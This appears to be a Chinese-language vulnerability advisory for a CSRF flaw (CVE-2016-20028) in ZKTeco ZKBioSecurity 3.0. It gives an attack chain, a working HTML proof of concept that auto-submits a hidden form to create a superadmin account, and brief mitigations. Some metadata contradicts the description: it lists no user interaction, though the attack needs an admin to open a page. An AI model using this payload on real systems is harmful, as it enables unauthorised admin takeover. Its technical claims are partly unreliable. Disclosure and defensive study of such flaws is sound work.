CVE-2016-20028 ZKTeco ZKBioSecurity 3.0 跨站请求伪造漏洞

漏洞信息

漏洞编号

CVE-2016-20028

漏洞类型

跨站请求伪造(CSRF)

CVSS评分

4.3 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

ZKTeco ZKBioSecurity 3.0

漏洞概述

CVE-2016-20028是ZKTeco公司ZKBioSecurity 3.0版本中存在的一个跨站请求伪造(Cross-Site Request Forgery, CSRF)安全漏洞。该漏洞允许远程攻击者通过诱使已登录的管理员用户访问恶意网页，在不知情的情况下执行未授权的管理操作。攻击者可以构造特制的HTTP请求，利用管理员已经建立的会话信任关系，在系统中添加超级管理员账户，从而获得对系统的完全控制权。由于漏洞存在于身份验证机制中，攻击者无需获取任何有效凭据，仅需依赖已登录用户的浏览器会话即可发起攻击。此漏洞的危险性在于其利用的隐蔽性，普通用户难以察觉其账户已被恶意添加，攻击者可以在系统中长期潜伏并维持持久化访问权限。

技术细节

ZKBioSecurity 3.0的管理后台在处理敏感管理操作时缺少有效的CSRF令牌验证机制。攻击者可以构造包含添加超级管理员账户功能的HTML表单，当已登录的管理员访问该恶意页面时，浏览器会自动发送带有有效会话Cookie的请求到目标服务器。服务器端未能正确验证请求的来源合法性（如Referer头或自定义Token），导致攻击者可以绕过身份验证直接执行管理操作。具体来说，攻击者可以利用如下请求格式添加新账户：POST请求到管理接口，参数中包含账户用户名、密码及权限级别，且请求中缺少Anti-CSRF Token。由于Web应用信任来自已认证用户的请求，恶意操作得以成功执行。攻击者通常将此恶意代码嵌入到钓鱼邮件或恶意网站的iframe中，以提高攻击成功率。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者首先收集目标ZKBioSecurity 3.0系统的相关信息，包括管理后台URL路径、请求参数格式等，可通过公开的漏洞披露或源码分析获取

STEP 2

步骤2: 构造恶意页面

攻击者创建包含自动提交表单的恶意HTML页面，表单中包含添加超级管理员账户所需的全部参数，使用已登录用户的权限级别

STEP 3

步骤3: 诱导用户访问

通过钓鱼邮件、社交工程或恶意网站链接等方式，诱使已登录ZKBioSecurity的管理员用户访问攻击者控制的恶意页面

STEP 4

步骤4: 自动发送恶意请求

当管理员浏览器加载恶意页面时，自动向目标服务器发送带有有效会话Cookie的POST请求，添加新的超级管理员账户

STEP 5

步骤5: 获得持久化访问

攻击成功后在系统中添加新的管理员账户，攻击者可以使用该账户随时登录系统，执行任意管理操作，实现持久化控制

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!DOCTYPE html> <html> <head> <title>Loading...</title> </head> <body> <h1>ZKBioSecurity CSRF Exploit - CVE-2016-20028</h1> <p>Creating superadmin account...</p> <form id="csrfForm" action="http://target:8080/zbiosecurity/admin/user/add" method="POST" enctype="multipart/form-data">  <input type="hidden" name="username" value="attacker_admin"> <input type="hidden" name="password" value="P@ssw0rd123"> <input type="hidden" name="role" value="superadmin"> <input type="hidden" name="email" value="[email protected]"> <input type="hidden" name="department" value="IT"> <input type="hidden" name="status" value="1"> </form> <script> // Auto-submit the form when page loads document.getElementById('csrfForm').submit(); console.log('CSRF request sent'); </script> </body> </html>

影响范围

ZKTeco ZKBioSecurity 3.0

防御指南

临时缓解措施

在浏览器中禁用第三方Cookie，防止跨站请求携带认证信息；管理员用户应定期检查系统账户列表，及时发现异常账户；临时可使用Firefox的Enhanced Tracking Protection或Chrome的隐私设置阻止第三方Cookie，减少CSRF攻击风险。